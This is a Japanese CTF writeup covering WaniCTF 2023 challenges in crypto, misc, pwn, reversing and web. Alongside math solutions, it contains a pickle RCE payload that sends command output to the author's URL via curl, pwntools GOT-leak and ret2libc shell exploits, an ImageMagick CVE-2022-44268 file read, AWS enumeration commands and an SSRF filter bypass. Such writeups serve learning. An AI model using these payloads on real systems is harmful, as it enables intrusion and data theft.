WaniCTF 2023 Writeup

Sat May 06 2023

5/4-6 で開催していた WaniCTF 2023 にソロで参加しました。結果は 8th/840 (得点のあるチームのみカウント) でした。 WaniCTF は慣れない分野の問題を学びながら解くことができるので参加しました。例年通り勉強になってよかったです。

全部を書くと大変なので solves < 100 の問題について writeup を書きます。

Crypto

DSA?

36 solves

chall.py
from Crypto.Util.number import isPrime
from hashlib import sha256
from os import getenv
from random import randbytes
import re

q = 139595134938137125662213161156181357366667733392586047467709957620975239424132898952897224429799258317678109670496340581564934129688935033567814222358970953132902736791312678038626149091324686081666262178316573026988062772862825383991902447196467669508878604109723523126621328465807542441829202048500549865003
p = 2 * q + 1
g = 2
assert isPrime(p)
assert isPrime(q)

FLAG = getenv("FLAG", "FAKE{NOTE:THIS_IS_NOT_THE_FLAG}")
assert len(FLAG) < 32


def keygen(p: int, q: int, g: int):
    x = int(randbytes(48).hex(), 16)
    y = pow(g, x, p)
    return x, y


def sign(message: str, x: int):
    k = pow(int.from_bytes(message.encode(), "big"), -1, q)
    r = pow(g, k, p) % q
    h = sha256(message.encode()).hexdigest()
    s = pow(k, -1, q) * (int(h, 16) + x * r) % q
    return h, r, s


def verify(message_hash: str, r: int, s: int, y: int):
    message_hash = int(message_hash, 16)
    w = pow(s, -1, q)
    u1 = message_hash * w % q
    u2 = r * w % q
    v = (pow(g, u1, p) * pow(y, u2, p) % p) % q
    return v == r


x, y = keygen(p, q, g)
print(f"p = {p}")
print(f"q = {q}")
print(f"g = {g}")
print(f"y = {y}")
hash, r, s = sign(FLAG, x)
assert verify(hash, r, s, y)
print("FLAG = {}".format(re.sub(r"([\S+])", r"*", FLAG)))
print(f"sha256(FLAG) = {hash}")
print(f"r = {r}")
print(f"s = {s}")

DSA の問題です。普通の DSA と違うのは kk が乱数ではなくフラグから生成される毎回同じ値を使っていることです。 kk の連続使用をすると秘密鍵が復元できるのは有名な話ですが、今回の問題では接続のたびに秘密鍵が変わるため、その解法は使えません。

式をいじると s=k1(h+xr)s = k^{-1}(h + xr)h1r(k1x)h1s=k1h^{-1}r (k^{-1}x) - h^{-1}s = -k^{-1} と変形されます。ここで k1k^{-1} は31bytes程度、 k1xk^{-1}x は79bytes程度となり、 qq と比べると十分小さい値となります。これを利用して LLL で k1k^{-1} を復元できることが期待できます。

solve.py
from Crypto.Util.number import long_to_bytes


p = 279190269876274251324426322312362714733335466785172094935419915241950478848265797905794448859598516635356219340992681163129868259377870067135628444717941906265805473582625356077252298182649372163332524356633146053976125545725650767983804894392935339017757208219447046253242656931615084883658404097001099730007
q = 139595134938137125662213161156181357366667733392586047467709957620975239424132898952897224429799258317678109670496340581564934129688935033567814222358970953132902736791312678038626149091324686081666262178316573026988062772862825383991902447196467669508878604109723523126621328465807542441829202048500549865003
g = 2
y = 191283939490602065334244760795962148682917079388974467146718247430344804212675961464237976758460463313444659350268872371705581070148456318530132803451843433166763641697855329105247326914633773198172036291665390989807095842672577481222722574836463022347070972331511585603162083200093184097357797598894664886194
h = 0x7aad5b407493e83e9c8a11170733019dfb55dcdb0b7ec677ded13ad9ab16cc82
r = 61401707010758101526146375076142785590307812475121812316952376486069149360425245868500855973757366554075933599220935059105890347272857469593141580674416812501978293803766670329096383435341545996560650936693344739955943829806575705777357363320849419106573553984283202966428145927420324135463723534658578592614
s = 4426008923170183411050912423997621301953300943166335574173752428530991573882275123166148651679344717133138199058735390071332777197146351185437582299659545965150556700048292079020380632181968849072599066612623903074020777939765450001791867585208659589870684271942204806727882539332818425480276709949312130016

# r * h^-1 * (k^-1 * x) - s * h^-1 == -k^-1
# [-k^-1, kx, 1] = [kx, l, 1] * mat
mat = matrix(ZZ, 3, 3)
mat[0, 0] = pow(h, -1, q) * r % q
mat[1, 0] = -q
mat[2, 0] = -s * pow(h, -1, q) % q
mat[0, 1] = 1
mat[2, 2] = 1
weights = diagonal_matrix([2^384, 1, 2^640])
mat *= weights
L = mat.LLL()
L /= weights
print(long_to_bytes(int(-L[0][0])))

FLAG{trivial&baby_dsa_puzzle}

fusion

67 solves

chall.py
from Crypto.PublicKey import RSA

RSAkeys = RSA.generate(2048)
p = RSAkeys.p
q = RSAkeys.q
n = RSAkeys.n
e = RSAkeys.e
m = b"FAKE{<REDACTED>}"
c = pow(int.from_bytes(m, "big"), e, n)

mask = int("55" * 128, 16)
r = p & mask
mask = mask << 1
r += q & mask

print(f"n = {n}")
print(f"e = {e}")
print(f"c = {c}")
print(f"r = {r}")

RSA の p,qp, q のヒントとなる rr が与えられています。 mask をビットで表すと 01010101...01010101 となっており、 pp の奇数ビット (最下位ビットを1ビット目として) と qq の偶数ビットが既知ということになります。

これを使って帰納的に p,qp, q を復元できます。下位 kk ビットが既知のとき、 k+1k + 1 番目のビットは ppqq のどちらかが未知です。この値は pq=nmod2k+1pq = n \mod 2^{k+1} となるように定めることができます。

solve.py
from from Crypto.Util.number import long_to_bytes


n = 27827431791848080510562137781647062324705519074578573542080709104213290885384138112622589204213039784586739531100900121818773231746353628701496871262808779177634066307811340728596967443136248066021733132197733950698309054408992256119278475934840426097782450035074949407003770020982281271016621089217842433829236239812065860591373247969334485969558679735740571326071758317172261557282013095697983483074361658192130930535327572516432407351968014347094777815311598324897654188279810868213771660240365442631965923595072542164009330360016248531635617943805455233362064406931834698027641363345541747316319322362708173430359
e = 65537
c = 887926220667968890879323993322751057453505329282464121192166661668652988472392200833617263356802400786530829198630338132461040854817240045862231163192066406864853778440878582265466417227185832620254137042793856626244988925048088111119004607890025763414508753895225492623193311559922084796417413460281461365304057774060057555727153509262542834065135887011058656162069317322056106544821682305831737729496650051318517028889255487115139500943568231274002663378391765162497239270806776752479703679390618212766047550742574483461059727193901578391568568448774297557525118817107928003001667639915132073895805521242644001132
r = 163104269992791295067767008325597264071947458742400688173529362951284000168497975807685789656545622164680196654779928766806798485048740155505566331845589263626813345997348999250857394231703013905659296268991584448212774337704919390397516784976219511463415022562211148136000912563325229529692182027300627232945

r_bits = list(map(int, f"{r:01024b}"))[::-1]
p_bits = [None] * 1024
q_bits = [None] * 1024
for i in range(1024):
    if i % 2 == 0:
        p_bits[i] = r_bits[i]
    else:
        q_bits[i] = r_bits[i]

def bits_to_num(bits, n):
    res = 0
    for i in range(n):
        res += 2^i * bits[i]
    return res


for i in range(1024):
    if i % 2 == 0:
        a_bits, b_bits = p_bits, q_bits
    else:
        a_bits, b_bits = q_bits, p_bits
    tmp_a = bits_to_num(a_bits, i + 1)
    for j in range(2):
        assert b_bits[i] is None
        b_bits[i] = j
        tmp_b = bits_to_num(b_bits, i + 1)
        if tmp_a * tmp_b % 2^(i+1) == n % 2^(i+1):
            break
        b_bits[i] = None
    assert b_bits is not None

p = bits_to_num(p_bits, 1024)
q = bits_to_num(q_bits, 1024)
phi = (p - 1) * (q - 1)
d = pow(e, -1, phi)
print(long_to_bytes(pow(c, d, n)))

FLAG{sequ4ntia1_prim4_fact0rizati0n}

Misc

machine_loading

31 solves

chall.py
import torch
from flask import Flask, request, render_template
from io import BytesIO
import pathlib
import os

app = Flask(__name__, template_folder="/app/templates")


@app.route("/", methods=["GET"])
def index():
    return render_template("upload.html")


@app.route("/upload", methods=["POST"])
def upload():
    file = request.files["file"]
    if not file:
        return "No file uploaded.", 422
    if file.content_length > 1024 * 1024:  # 1MB
        return "File too large. Max size is 1MB.", 400

    suffix = pathlib.Path(file.filename).suffix
    if suffix == ".ckpt":
        try:
            modelload(file)

            if os.path.exists("output_dir/output.txt"):
                with open("output_dir/output.txt", "r") as f:
                    msg = f.read()
                os.remove("output_dir/output.txt")

            return f"File loaded successfully: {msg}"
        except Exception as e:
            return "ERROR: " + str(e), 400
    else:
        return "Invalid file extension. Only .ckpt allowed.", 400


def modelload(file):
    with BytesIO(file.read()) as f:
        try:
            torch.load(f)
            return
        except Exception as e:
            raise e


if __name__ == "__main__":
    app.run(host="0.0.0.0")

普段から torch は使っているが、 .cpkt ファイルを知らず…調べてみると pickle 形式ということがわかります。 試しに以下のように curl MY_URL を実行するような pickle コードを用意してアップロードすると、 MY_URL にリクエストが飛んでくることが確認できます。

code = b"""cos
system
(Vcurl MY_URL
tR.)"""
with open("/tmp/hoge.ckpt", "wb") as fp:
    fp.write(code)

あとは ls でファイルを探し、 cat でファイルを読むだけです。ただし curl MY_URL?res=$(ls) のようなことをすると、スペース・改行のせいで ls の最初の結果のみしか送られてこない罠にハマりました。ダブルクオートも埋め込むことができず。代わりに revshell を実行しようとしてもなぜか起動せず (なんで)。仕方がないので ls / | sed -z 's/\n/|/g' のようにしてスペース・改行を | に置き換えることでごり押ししました。結局普通のファイル名だったので初手 cat flag.txt でよかった…

FLAG{Use_0ther_extens10n_such_as_safetensors}

int_generator

37 solves

chall.py
import random

k = 36
maxlength = 16


def f(x, cnt):
    cnt += 1
    r = 2**k
    if x == 0 or x == r:
        return -x, cnt
    if x * x % r != 0:
        return -x, cnt
    else:
        return -x * (x - r) // r, cnt


def g(x):
    ret = x * 2 + x // 3 * 10 - x // 5 * 10 + x // 7 * 10
    ret = ret - ret % 2 + 1
    return ret, x // 100 % 100


def digit(x):
    cnt = 0
    while x > 0:
        cnt += 1
        x //= 10
    return cnt


def pad(x, cnt):
    minus = False
    if x < 0:
        minus = True
        x, cnt = g(-x)
    sub = maxlength - digit(x)
    ret = x
    for i in range(sub - digit(cnt)):
        ret *= 10
        if minus:
            ret += pow(x % 10, x % 10 * i, 10)
        else:
            ret += pow(i % 10 - i % 2, i % 10 - i % 2 + 1, 10)
    ret += cnt * 10 ** (maxlength - digit(cnt))
    return ret


def int_generator(x):
    ret = -x
    x_, cnt = f(x, 0)
    while x_ > 0:
        ret = x_
        x_, cnt = f(x_, cnt)
    return pad(ret, cnt)


num1 = random.randint(0, 2 ** (k - 1))
num2 = random.randint(0, 2 ** (k - 1))
num3 = random.randint(0, 2 ** (k - 1))

print("int_generator(num1):{}".format(int_generator(num1)))
print("int_generator(num2):{}".format(int_generator(num2)))
print("int_generator(num3):{}".format(int_generator(num3)))

どういうことをやりたいコードなのかはさっぱりわからず…いろいろ考察すると以下のことがわかります。

  • int_generator(flag1) == int_generator(0) となる (偶然気づいちゃった)
  • int_generator 関数の最後で pad 関数に渡す引数について、 cnt は1か2になる
    • cnt == 2x2182^{18} の倍数のとき、 cnt = 1 はそれ以外のとき
  • cnt == 2 のとき ret は正、 cnt == 1 のとき、 ret は負
  • pad 関数で minus == True のとき、出力の末尾の ii 番目 (10進数表記で) は ximod10x^i \mod 10 となる
  • pad 関数で minus == False のとき、出力の末尾は 884466...884466... となる
  • pad 関数で minus == False のとき、 pad に引き渡された cnt が出力の先頭に現れる

これらを元に考えると、 2264663430088446226466343008844667728140784008846772814078400884 末尾が 884466...884466... となっているため、 minus == False として生成されたものと考えられます。このとき cnt == 2 になるはずで、入力した値は 2182^{18} の倍数となります。定義域は 0x<2360 \le x < 2^{36} なので、 2182^{18} の倍数は 2182^{18} 個のみです。これらを全探索することで値を求めました。

solve.py
target2 = 2264663430088446
target3 = 6772814078400884
for i in range(2 ** 18):
    if int_generator(2 ** 18 * i) == target2:
        print(2 ** 18 * i)
for i in range(2 ** 18):
    if int_generator(2 ** 18 * i) == target3:
        print(2 ** 18 * i)

FLAG{0_26476544_34359738368}

range_xor

40 solves

まず ai<=500a_i <= 500 の要素については ai=f(ai)a_i = f(a_i) なため、考慮する必要がありません。除外します。

操作 ff をどの要素にも行わないときの XXX0X_0、最小の XXXminX_{\mathrm{min}}ci=aif(ai)c_i = a_i \oplus f(a_i) とします。すると

kC+X0=Xmink C + X_0 = X_{\mathrm{min}}

となる 0, 1 のベクトル kk の種類数を数える問題と考えることができます (計算は F2\mathbb{F}_2 上で行う)。ここで CCcic_i を行ベクトルとした行列です。

XminX_{\mathrm{min}} の定義から kC=XminX0k C = X_{\mathrm{min}} - X_0 となる kk が存在することは保証されているため、 CC のカーネル空間の次元を nn とすると、 2nmod(109+7)2^n \mod (10^9 + 7) が求める答えです。

solve.sage
A = ...
A = list(filter(lambda x: x > 500, A))
M = 10


def num_to_bits(num):
    bits = []
    for _ in range(M):
        bits.append(num % 2)
        num //= 2
    return bits


mat = matrix(GF(2), len(A), M)
for i in range(len(A)):
    ai = A[i]
    bi = min(ai, 1000 - ai)
    a_bits = num_to_bits(ai)
    b_bits = num_to_bits(bi)
    for j in range(M):
        if a_bits[j] != b_bits[j]:
            mat[i, j] = 1
n = mat.kernel().matrix().nrows()
print(pow(2, n, 10**9 + 7))

FLAG{461905191}

Guess

59 solves

chall.py
import os
import random

ANSWER = list(range(10**4))
random.shuffle(ANSWER)
CHANCE = 15


def peep():
    global CHANCE
    if CHANCE <= 0:
        print("You ran out of CHANCE. Bye!")
        exit(1)
    CHANCE -= 1

    index = map(int, input("Index (space-separated)> ").split(" "))
    result = [ANSWER[i] for i in index]
    random.shuffle(result)

    return result


def guess():
    guess = input("Guess the numbers> ").split(" ")
    guess = list(map(int, guess))
    if guess == ANSWER:
        flag = os.getenv("FLAG", "FAKE{REDACTED}")
        print(flag)
    else:
        print("Incorrect")


def main():
    menu = """
    1: peep
    2: guess""".strip()
    while True:
        choice = int(input("> "))
        if choice == 1:
            result = peep()
            print(result)
        elif choice == 2:
            guess()
        else:
            print("Invalid choice")
            break

この問題では 10000 個整数の順番を当てるのが目標ですが、まずは 2n2^n 個の場合での解法を考えます。1回のクエリで0から 2n12^{n-1} までの整数を送ると、各数が0から 2n12^{n-1} 番目の整数か否かを分類することができます。したがって2分木のようにクエリを飛ばしていくことで全番号の順番が特定可能です (自然言語での説明は難しいのでコードを見ていただければ…)。 実際は 10000 個の整数なので、 214=16384>=100002^{14} = 16384 >= 10000 個の整数を仮定して解こうとすれば上手くいきます。

solve.py
from pwn import remote
from tqdm import tqdm

idx_list_list, e = [[0]], 1
for _ in range(13):
    for idx_list in idx_list_list:
        idx_list += [2 ** e + idx for idx in idx_list]
    idx_list_list.append(list(range(2 ** e)))
    e += 1


N = 10**4 // 2
io = remote("guess-mis.wanictf.org", 50018)
res_list = []
for i in range(14):
    idx_list = list(filter(lambda x: x < 10000, idx_list_list[i]))
    io.sendlineafter(b"> ", b"1")
    io.sendlineafter(b"index> ", " ".join(map(str, idx_list)))
    res = eval(io.recvline().strip().decode())
    res_list.append((set(idx_list), set(res)))

cands = list(range(10**4))
set_cands = set(cands)
ans = []
for i in tqdm(range(10000)):
    s = set_cands.copy()
    for idx_list, res in res_list:
        if i in idx_list:
            s &= res
        else:
            s &= set_cands - res
    if len(s) == 1:
        ans.append(next(iter(s)))
    else:
        ans.append(None)

io.sendlineafter(b"> ", b"2")
io.sendlineafter(b"list> ", " ".join(map(str, ans)))
print(io.recvline())

FLAG{How_did_you_know?_10794fcf171f8b2}

Pwnable

08. Time Table

33 solves

register_mandatory_classregister_elective_class を見ると、 list のインデックスの範囲が制限されていません。そのため想定外の領域のメモリを時間割に反映させることができそうです。

gdb でメモリをみてみます。

pwndbg> x/64gx &mandatory_list
0x4050c0 <mandatory_list>:	0x0000000000403008	0x0000000200000003
0x4050d0 <mandatory_list+16>:	0x0000000000403018	0x0000000000403024
0x4050e0 <mandatory_list+32>:	0x000000000040303c	0x0000000000403048
0x4050f0 <mandatory_list+48>:	0x0000000000000000	0x0000000000000000
0x405100 <mandatory_list+64>:	0x0000000000000000	0x0000000000000000
0x405110 <mandatory_list+80>:	0x0000000000403054	0x0000000000403064
0x405120 <mandatory_list+96>:	0x0000000400000002	0x0000000000403018
0x405130 <mandatory_list+112>:	0x0000000000403024	0x0000000000403074
0x405140 <mandatory_list+128>:	0x0000000000403080	0x0000000000000000
0x405150 <mandatory_list+144>:	0x0000000000000000	0x0000000000000000
0x405160 <mandatory_list+160>:	0x0000000000000000	0x000000000040308f
0x405170 <mandatory_list+176>:	0x00000000004030a0	0x0000000100000001
0x405180 <mandatory_list+192>:	0x0000000000403018	0x00000000004030af
0x405190 <mandatory_list+208>:	0x00000000004030c0	0x00000000004030c8
0x4051a0 <mandatory_list+224>:	0x0000000000000000	0x0000000000000000
0x4051b0 <mandatory_list+240>:	0x0000000000000000	0x0000000000000000
0x4051c0 <mandatory_list+256>:	0x00000000004030d7	0x0000000000000000
0x4051d0:	0x0000000000000000	0x0000000000000000
0x4051e0 <elective_list>:	0x0000000000403117	0x0000000200000003
0x4051f0 <elective_list+16>:	0x0000000000000000	0x0000000000000000
0x405200 <elective_list+32>:	0x0000000000000000	0x0000000000000000
0x405210 <elective_list+48>:	0x0000000000403125	0x00000000004012d6
0x405220 <elective_list+64>:	0x0000000000403133	0x0000000400000002
0x405230 <elective_list+80>:	0x0000000000000000	0x0000000000000000
0x405240 <elective_list+96>:	0x0000000000000000	0x0000000000000000
0x405250 <elective_list+112>:	0x000000000040314a	0x0000000000401337
0x405260 <stdout@GLIBC_2.2.5>:	0x00007ffff7f855a0	0x0000000000000000
0x405270 <stdin@GLIBC_2.2.5>:	0x00007ffff7f848c0	0x0000000000000000
0x405280 <stderr@GLIBC_2.2.5>:	0x00007ffff7f854c0	0x0000000000000000
0x405290:	0x0000000000000000	0x0000000000000000
0x4052a0 <timetable>:	0x0000000000000000	0x0000000000000000
0x4052b0 <timetable+16>:	0x0000000000000000	0x0000000000000000

mandatory_list のサイズは 0x58, elective_list のサイズは 0x40 になっています。 mandatory_list[4]elective_list[1] のアドレス開始場所が一緒になることがわかります。これを利用して4番目の mandatory の授業を登録し、メモを書くと、 elective の授業として見たときに先生の名前がメモに書いた値をアドレスとみたときの中身になります。これで任意のアドレスの値を読み取ることができます。

あとはアドレスのジャンプ先を system とかにする必要がありますが、これは elective_subjectIsAvailable を書き換えることで任意関数の呼び出しが可能です。

libc のバージョンを特定したあと system を呼んでシェルを叩いてますが、 libc を使う想定だったら配布されてそう (他の問題がそうだったので) で、もっと楽に解く方法があったのかもしれないです。

solve.py
from pwn import *

elf = ELF("./pwn-TimeTable/mychall")
libc = ELF("./pwn-TimeTable/libc6_2.35-0ubuntu1_amd64.so")
context.binary = elf
io = remote("timetable-pwn.wanictf.org", 9008)

io.sendlineafter(b"name : ", b"/bin/sh")
io.sendlineafter(b"id : ", b"10000")
io.sendlineafter(b"major : ", b"100")


def leak_got(name):
    io.sendlineafter(b">", b"1")
    io.sendlineafter(b">", b"4")

    io.sendlineafter(b">", b"4")
    io.sendlineafter(b">", b"FRI 3")
    io.sendafter(b"CLASS\n", p64(elf.got[name]))

    io.sendlineafter(b">", b"2")
    io.recvuntil(b"Intellect - ")
    addr = u64(io.recvline()[:-1].ljust(8, b"\x00"))
    io.sendlineafter(b">", b"1")
    return addr

# libc leak
# # c 1
# addr_puts = leak_got("puts")
# print(f"{addr_puts = :#x}")
# # c 4
# addr_printf = leak_got("printf")
# print(f"{addr_printf = :#x}")
# # c 4
# addr_read = leak_got("read")
# print(f"{addr_read = :#x}")

addr_puts = leak_got("puts")
print(f"{addr_puts = :#x}")
libc.address = addr_puts - libc.symbols["puts"]
print(f"{libc.address = :#x}")

io.sendlineafter(b">", b"1")
io.sendlineafter(b">", b"4")

io.sendlineafter(b">", b"4")
io.sendlineafter(b">", b"FRI 3")
io.sendafter(b"CLASS\n", p64(elf.got["printf"]) + p64(libc.symbols["system"]))

io.sendlineafter(b">", b"2")
io.interactive()

FLAG{Do_n0t_confus3_mandatory_and_el3ctive}

07. ret2libc

88 solves

stack の様子から libc address がわかるので、 ROP をするだけです。

solve.py
from pwn import *

elf = ELF("./pwn-ret2libc/chall")
context.binary = elf
libc = ELF("./pwn-ret2libc/libc.so.6")
io = remote("ret2win-pwn.wanictf.org", 9007)
io.recvuntil(b" +0x28 | ")
addr_libc_start_main_ret = int(io.recvuntil(b" ").strip().decode(), 16)
print(f"{addr_libc_start_main_ret = :#x}")
print(f"{libc.symbols['__libc_start_main'] = :#x}")
libc.address = addr_libc_start_main_ret - 0x00029d90
print(f"{libc.address = :#x}")

rop = ROP(libc)
rop.execve(next(libc.search(b"/bin/sh")), 0, 0)
payload = b"A" * 0x28
payload += rop.chain()
payload += b"A" * 0x18

io.sendlineafter(b") > ", payload)
io.interactive()

FLAG{c0n6r475_0n_6r4du471n6_45_4_9wn_b361nn3r!}

Reversing

Lua

69 solves

各関数、変数の出力を適当に print していたら、 CRYPTEDlIIlIIlI(CRYPTEDlIIllIll, CRYPTEDlIIlIIIl) を呼び出しているときの local d = c["\99\105\112\104\101\114"](c, tmp0(b))print すると Input FLAG : のようなデータ文字とともにフラグが書かれていました。雑でごめん

FLAG{1ua_0r_py4h0n_wh4t_d0_y0u_3ay_w4en_43ked_wh1ch_0ne_1s_be44er}

web_assembly

77 solves

ghidra で解析しました (plugin が必要だったかも、覚えていない)。 Exports の中に main があるのでそこをエントリーポイントとしてデコンパイル結果をみていきます。明らかにこのあたりが怪しいですね。

  local_4 = 0;
  unnamed_function_14(local_10,0x101a0);  // ①
  unnamed_function_14(local_1c,0x1024c);  // ①
  unnamed_function_14(local_28,&PTR_DAT_ram_00616c46_ram_0001019c);
  unnamed_function_14(local_34,0x101e6);
  unnamed_function_14(local_40,0x1006a);
  unnamed_function_14(local_4c,0x1011d);
  unnamed_function_14(local_58,0x10111);
  unnamed_function_14(local_64,0x100ca);
  unnamed_function_14(local_70,0x10000);
  uVar1 = import::env::prompt_name();  // ②
  unnamed_function_14(local_7c,uVar1);  // ②
  uVar1 = import::env::prompt_pass();  // ②
  unnamed_function_14(local_88,uVar1);  // ②
  uVar1 = unnamed_function_15(0x143c4,s_Your_UserName_:_ram_0001026d);
  uVar1 = unnamed_function_16(uVar1,local_7c);
  unnamed_function_18(uVar1,1);
  uVar1 = unnamed_function_15(0x143c4,s_Your_PassWord_:_ram_0001027e);
  uVar1 = unnamed_function_16(uVar1,local_88);
  unnamed_function_18(uVar1,1);
  uVar2 = unnamed_function_19(local_7c,local_10);  // ③
  if (((uVar2 & 1) == 0) || (uVar2 = unnamed_function_19(local_88,local_1c), (uVar2 & 1) == 0)) {
    uVar1 = unnamed_function_15(0x143c4,s_Incorrect!_ram_0001020a);
    unnamed_function_18(uVar1,1);
  }
  else {
    uVar1 = unnamed_function_15(0x143c4,s_Correct!!_Flag_is_here!!_ram_00010233);
    unnamed_function_18(uVar1,1);
    uVar1 = unnamed_function_16(0x143c4,local_28);
    uVar1 = unnamed_function_16(uVar1,local_34);
    uVar1 = unnamed_function_16(uVar1,local_40);
    uVar1 = unnamed_function_16(uVar1,local_4c);
    uVar1 = unnamed_function_16(uVar1,local_58);
    uVar1 = unnamed_function_16(uVar1,local_64);
    uVar1 = unnamed_function_16(uVar1,local_70);
    unnamed_function_18(uVar1,1);
    local_4 = 0;
  }

②のあたりで local_7c が UserName, local_88 が PassWord の入力値になっていそうなことから、 ③あたりの unnamed_function_19 が strcmp 的なことをやっていそうです (中身はみていません)。 この関数に与えている他の引数 local_10local_1c は①のあたりで 0x101a00x1024c の値を使って unnamed_function_14 で計算されていそうです。 0x101a0, 0x1024c の値を見てみると UserName と PassWord が直接書かれていました。

Flag{Y0u_C4n_3x3cut3_Cpp_0n_Br0us3r!}

Web

certified1, certified2

66 solves, 23 solves

POST /create でアップロードされた画像を input という名前でコピーし、 overlay.png を ImageMagick で画像の右下に上書きし、それを output.png という名前で保存します。この画像は /view/<uuid> で見ることができます。

アップロードする画像の filename/flag_A のようにすると、 input/flag_A になります。これで終わりと思いきや、 ImageMagick を実行するときにテキストファイルが input となるためエラーとなってしまいます。それはそうか…

ImageMagick はたびたび CVE が出ているので、 LFI ができそうなものを探してみました。 CVE-2022-44268 が見つかりましたが、これは 7.1.0-49 のバージョンでの CVE で、問題で使われている ImageMagick は 7.1.0-51 だしな…と思って数時間スルーしていました。でも他に脆弱性も見つからないので開き直って PoC を実行してみたら動いたのでこれでした。 pngcrush/flag_A を LFI すれば certified1 のフラグが手に入ります。

certified2 のほうは環境変数なので /proc/self/environ を見れば終わりかなと思ったら上手く動かず…しかし冒頭で述べたように filename/proc/self/environ とすれば実ファイルの input ができ、エラーメッセージでディレクトリ格納場所もわかるため、その実ファイルを LFI することでフラグが得られました。

FLAG{7he_sec0nd_f1a9_1s_w41t1n9_f0r_y0u!}

FLAG{n0w_7hat_y0u_h4ve_7he_sec0nd_f1a9_y0u_4re_a_cert1f1ed_h4nk0_m@ster}

Lambda

54 solves

AWS の Access key ID, Secret access key, Region が与えられています。 AWS にはあまり馴染みがないのでいい感じのツールがないか調べて、 pacu というものを見つけました。数時間いろんな機能を使ってみましたが特にめぼしい情報を抜き取ることができず…ほぼ権限ないじゃん

ググりを続けると今度は https://www.slideshare.net/zaki4649/flawscloud を見つけました。 AWS まわりの問題を扱っている常設 CTF の紹介・解説スライドでした。これの Level6 が今回の問題とかなり似ており、そこに書いてある aws cli コマンドを使っていくことでいろんな情報を抜けました。 叩いたコマンドだけ羅列すると以下の通りです。

aws iam list-attached-user-policies --user-name SecretUser
aws iam get-policy --policy-arn arn:aws:iam::839865256996:policy/WaniLambdaGetFunc
aws iam get-policy-version --policy-arn arn:aws:iam::839865256996:policy/WaniLambdaGetFunc --version-id v1
aws lambda get-function --function-name wani_function

これの最後のコマンドの出力結果を見ると、 s3 のファイルの URL が書かれていました。ここにアクセスすると dll の入った zip がダウンロードできました。 dll の解析はやりたくないなということで strings -e l * を叩いてみたらフラグが見つかりました。

解いた問題で一番時間が溶けました…自力では無理だった

FLAG{l4mabd4_1s_s3rverl3ss_s3rv1c3}

screenshot

91 solves

SSRF の問題で、 /flag.txt のファイルを読めればフラグが手に入ります。以下の部分をいかにバイパスするかが問われています。

      if (!req.query.url.includes("http") || req.query.url.includes("file")) {
        res.status(400).send("Bad Request");
        return;
      }

内容からも file:// を使う気配が漂っています。いろいろやりようはありそうですが、 ?url=File:///http/../flag.txt のクエリストリングで突破しました。

FLAG{beware_of_parameter_type_confusion!}